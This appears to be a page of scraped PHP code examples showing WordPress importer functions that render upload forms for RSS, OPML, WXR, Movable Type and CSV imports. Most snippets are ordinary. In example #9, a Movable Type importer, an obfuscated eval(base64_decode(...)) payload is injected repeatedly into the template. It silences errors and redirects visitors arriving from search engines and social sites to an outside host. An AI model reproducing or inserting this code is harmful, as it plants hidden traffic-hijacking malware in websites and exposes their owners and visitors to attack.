コード例 #1
0
ファイル: opml-importer.php プロジェクト: kivivuori/jotain
 /**
  * Shows The Import Page and import form for step 1.
  * Calls the parsing and importing function for step 2.
  * 
  * @since 3.3
  * @return void
  */
 public function opml_import()
 {
     // Show the Icon and Title
     echo '<div class="wrap">';
     screen_icon();
     echo '<h2>Import OPML</h2>';
     // Get the current step from URL query string
     $step = empty($_GET['step']) ? 0 : (int) $_GET['step'];
     // Check the current step
     switch ($step) {
         default:
         case 0:
             // Show the Import Message and the import upload form
             echo '<p>' . __('Howdy! Import your feeds here from an OPML (.xml) export file.', 'wprss') . '</p>';
             echo '<p>' . __("Click the button below, choose your file, and click 'Upload'.", 'wprss') . '</p>';
             echo '<p>' . __('We will take care of the rest.', 'wprss') . '</p>';
             // Show an import upload form that submits to the same page, with GET parameter step=1
             wp_import_upload_form('admin.php?import=wprss_opml_importer&amp;step=1');
             break;
         case 1:
             // Check referer
             check_admin_referer('import-upload');
             // If the handle_upload function returns true
             if ($this->handle_upload()) {
                 // Get the uploaded file
                 $file = get_attached_file($this->id);
                 set_time_limit(0);
                 // Parse the File and Import the feeds
                 $this->parse_and_import($file);
             }
             break;
     }
     echo '</div>';
 }
コード例 #2
0
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Howdy! This importer allows you to extract posts from an RSS 2.0 file into your WordPress site. This is useful if you want to import your posts from a system that is not handled by a custom import tool. Pick an RSS file to upload and click Import.', 'rss-importer') . '</p>';
     wp_import_upload_form("admin.php?import=rss&amp;step=1");
     echo '</div>';
 }
コード例 #3
0
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Howdy! Upload your Disqus export file and we&#8217;ll import the comments.', 'disqus-importer') . '</p>';
     wp_import_upload_form("admin.php?import=disqus&amp;step=1");
     echo '</div>';
 }
コード例 #4
0
	function greet() {
		echo '<div class="narrow">';
		echo '<p>'.__('Howdy! Upload your WordPress eXtended RSS (WXR) file and we&#8217;ll import the posts, pages, comments, custom fields, categories, and tags into this blog.').'</p>';
		echo '<p>'.__('Choose a WordPress WXR file to upload, then click Upload file and import.').'</p>';
		wp_import_upload_form("admin.php?import=wordpress&amp;step=1");
		echo '</div>';
	}
コード例 #5
0
	function greet() {
		echo '<div class="narrow">';
		echo '<p>'.__('Howdy! Upload your LiveJournal XML export file and we&#8217;ll import the posts into this blog.').'</p>';
		echo '<p>'.__('Choose a LiveJournal XML file to upload, then click Upload file and import.').'</p>';
		wp_import_upload_form("admin.php?import=livejournal&amp;step=1");
		echo '</div>';
	}
コード例 #6
0
ファイル: blogware.php プロジェクト: nurpax/saastafi
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Howdy! This importer allows you to extract posts from Blogware XML export file into your blog.  Pick a Blogware file to upload and click Import.') . '</p>';
     wp_import_upload_form("admin.php?import=blogware&amp;step=1");
     echo '</div>';
 }
コード例 #7
0
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Upload your <a href="http://blogml.codeplex.com/">BlogML</a> file and we&#8217;ll import the posts, comments, authors, and categories into this blog.') . '</p>';
     echo '<p>' . __('Choose a BlogML file to upload, then click Upload file and import.') . '</p>';
     wp_import_upload_form("admin.php?import=blogml&amp;step=1");
     echo '</div>';
 }
コード例 #8
0
	function greet() {
		$this->header();
?>
<p><?php _e('Howdy! We&#8217;re about to begin the process to import all of your Movable Type entries into WordPress. To begin, select a file to upload and click Import.'); ?></p>
<?php wp_import_upload_form( add_query_arg('step', 1) ); ?>
	<p><?php _e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if&#8212;for whatever reason&#8212;it doesn\'t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.'); ?> </p>
<?php
		$this->footer();
	}
コード例 #9
0
ファイル: mt.php プロジェクト: nagyist/laura-wordpress
    function greet()
    {
        $this->header();
        ?>
<div class="narrow">
<p><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Howdy! We&#8217;re about to begin importing all of your Movable Type or TypePad entries into WordPress. To begin, either choose a file to upload and click &#8220;Upload file and import&#8221;, or use FTP to upload your MT export file as <code>mt-export.txt</code> in your <code>/wp-content/</code> directory and then click "Import mt-export.txt"');
        ?>
</p>

<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        wp_import_upload_form(add_query_arg('step', 1));
        ?>
<form method="post" action="<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo esc_attr(add_query_arg('step', 1));
        ?>
" class="import-upload-form">

<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        wp_nonce_field('import-upload');
        ?>
<p>
	<input type="hidden" name="upload_type" value="ftp" />
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Or use <code>mt-export.txt</code> in your <code>/wp-content/</code> directory');
        ?>
</p>
<p class="submit">
<input type="submit" class="button" value="<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        esc_attr_e('Import mt-export.txt');
        ?>
" />
</p>
</form>
<p><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if&#8212;for whatever reason&#8212;it doesn&#8217;t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.');
        ?>
 </p>
</div>
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        $this->footer();
    }
 function greet()
 {
     echo '<p>' . __('Choose a CSV (.csv) file to upload, then click Upload file and import.', 'rs-csv-importer') . '</p>';
     echo '<p>' . __('Maybe Excel-style CSV file is not best for import data. Follow export options below. LibreOffice might be good for you.', 'rs-csv-importer') . '</p>';
     echo '<ol>';
     echo '<li>' . __('Select UTF-8 as charset.', 'rs-csv-importer') . '</li>';
     echo '<li>' . sprintf(__('You must use field delimiter as "%s"', 'rs-csv-importer'), RS_CSV_Helper::DELIMITER) . '</li>';
     echo '<li>' . __('You must quote all text cells.', 'rs-csv-importer') . '</li>';
     echo '</ol>';
     echo '<p>' . __('Sample CSV file download:', 'rs-csv-importer');
     echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.csv">' . __('csv', 'rs-csv-importer') . '</a>,';
     echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.ods">' . __('ods (OpenDocument Spreadsheet file format)', 'rs-csv-importer') . '</a>';
     echo '</p>';
     wp_import_upload_form(add_query_arg('step', 1));
 }
コード例 #11
0
 function page_content()
 {
     if (isset($_GET['step']) && 1 == $_GET['step']) {
         $this->import();
     }
     if (defined('WP_DEBUG') && isset($_GET['step']) && 'export' == $_GET['step']) {
         $wud = wp_upload_dir();
         $name = '/export-' . substr(md5(rand()), 0, 8) . '.csv';
         $this->export($wud['basedir'] . $name);
         echo scb_admin_notice('CSV Generated: ' . html_link($wud['baseurl'] . $name));
     }
     echo '<div class="narrow">';
     echo '<p>' . __('Below you will find a tool which allows you to import content from other systems via a CSV (comma-separated values) file, which can be edited using a program like Excel. Note that the file must be in the correct format for the import tool to work. You will find an example .csv file in the "examples" theme folder.', 'appthemes') . '</p>';
     echo '<p>' . __('Choose a CSV file to upload, then click "Upload file and import".', 'appthemes') . '</p>';
     wp_import_upload_form('admin.php?page=app-importer&amp;step=1');
     echo '</div>';
 }
コード例 #12
0
 function greet()
 {
     echo '<p>' . __('Choose a CSV (.csv) file to upload, then click Upload file and import.', 'really-simple-csv-importer') . '</p>';
     echo '<p>' . __('Excel-style CSV file is unconventional and not recommended. LibreOffice has enough export options and recommended for most users.', 'really-simple-csv-importer') . '</p>';
     echo '<p>' . __('Requirements:', 'really-simple-csv-importer') . '</p>';
     echo '<ol>';
     echo '<li>' . __('Select UTF-8 as charset.', 'really-simple-csv-importer') . '</li>';
     echo '<li>' . sprintf(__('You must use field delimiter as "%s"', 'really-simple-csv-importer'), RS_CSV_Helper::DELIMITER) . '</li>';
     echo '<li>' . __('You must quote all text cells.', 'really-simple-csv-importer') . '</li>';
     echo '</ol>';
     echo '<p>' . __('Download example CSV files:', 'really-simple-csv-importer');
     echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.csv">' . __('csv', 'really-simple-csv-importer') . '</a>,';
     echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.ods">' . __('ods', 'really-simple-csv-importer') . '</a>';
     echo ' ' . __('(OpenDocument Spreadsheet file format for LibreOffice. Please export as csv before import)', 'really-simple-csv-importer');
     echo '</p>';
     wp_import_upload_form(add_query_arg('step', 1));
 }
コード例 #13
0
ファイル: mt.php プロジェクト: BGCX262/zxhproject-svn-to-git
    function greet()
    {
        $this->header();
        ?>
<div class="narrow">
<p><?php 
        _e('Howdy! We&#8217;re about to begin importing all of your Movable Type or Typepad entries into WordPress. To begin, either choose a file to upload and click "Upload file and import," or use FTP to upload your MT export file as <code>mt-export.txt</code> in your <code>/wp-content/</code> directory and then click "Import mt-export.txt"');
        ?>
</p>

<?php 
        wp_import_upload_form(add_query_arg('step', 1));
        ?>
<form method="post" action="<?php 
        echo add_query_arg('step', 1);
        ?>
" class="import-upload-form">

<?php 
        wp_nonce_field('import-upload');
        ?>
<p>
	<input type="hidden" name="upload_type" value="ftp" />
<?php 
        _e('Or use <code>mt-export.txt</code> in your <code>/wp-content/</code> directory');
        ?>
</p>
<p class="submit">
<input type="submit" class="button" value="<?php 
        echo attribute_escape(__('Import mt-export.txt'));
        ?>
" />
</p>
</form>
<p><?php 
        _e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if&#8212;for whatever reason&#8212;it doesn\'t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.');
        ?>
 </p>
</div>
<?php 
        $this->footer();
    }
コード例 #14
0
 /**
  * greet function.
  *
  * @access public
  * @return void
  */
 function greet()
 {
     echo '<div class="narrow">';
     echo '<p>' . __('Hi there! Choose a .csv file to upload, then click "Upload file and import".', 'prosports') . '</p>';
     echo '<p>' . sprintf(__('Sponsors need to be defined with columns in a specific order (2 columns). <a href="%s">Click here to download a sample</a>.', 'prosports'), SP_SPONSORS_URL . 'dummy-data/sponsors-sample.csv') . '</p>';
     wp_import_upload_form('admin.php?import=prosports_sponsor_csv&step=1');
     echo '</div>';
 }
コード例 #15
0
 public function csv_importer()
 {
     echo '<form method="POST" action="" enctype="multipart/form-data">';
     // Load Importer API
     require_once ABSPATH . 'wp-admin/includes/import.php';
     if (!class_exists('WP_Importer')) {
         $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';
         if (file_exists($class_wp_importer)) {
             require_once $class_wp_importer;
         }
     }
     if (empty($_FILES)) {
         echo "<p>Use the below form to upload your CSV file for importing.</p>";
         echo "<p><strong>Example CSV Data:</strong></p>";
         echo "<p><code>'Title','Body','Client Name','Position / Location / Other','Location / Product / Other','Rating','HTID'</code></p>";
         echo "<p><strong>Please Note:</strong> the first line of the CSV will need to match the text in the above example, for the Import to work.  Depending on your server settings, you may need to run the import several times if your script times out.</p>";
         echo '<div class="gp_upload_file_wrapper">';
         wp_import_upload_form(add_query_arg('step', 1));
         echo '</div>';
     } else {
         $file = wp_import_handle_upload();
         if (isset($file['error'])) {
             echo '<p><strong>' . 'Sorry, there has been an error.' . '</strong><br />';
             echo esc_html($file['error']) . '</p>';
             return false;
         } else {
             if (!file_exists($file['file'])) {
                 echo '<p><strong>' . 'Sorry, there has been an error.' . '</strong><br />';
                 printf('The export file could not be found at <code>%s</code>. It is likely that this was caused by a permissions problem.', esc_html($file['file']));
                 echo '</p>';
                 return false;
             }
         }
         $fileid = (int) $file['id'];
         $file = get_attached_file($fileid);
         $result = $this->import_testimonials_from_csv($file);
         if (is_wp_error($result)) {
             echo $result;
         } else {
             echo "<p>Testimonials successfully imported!</p>";
         }
     }
     echo '</form>';
 }
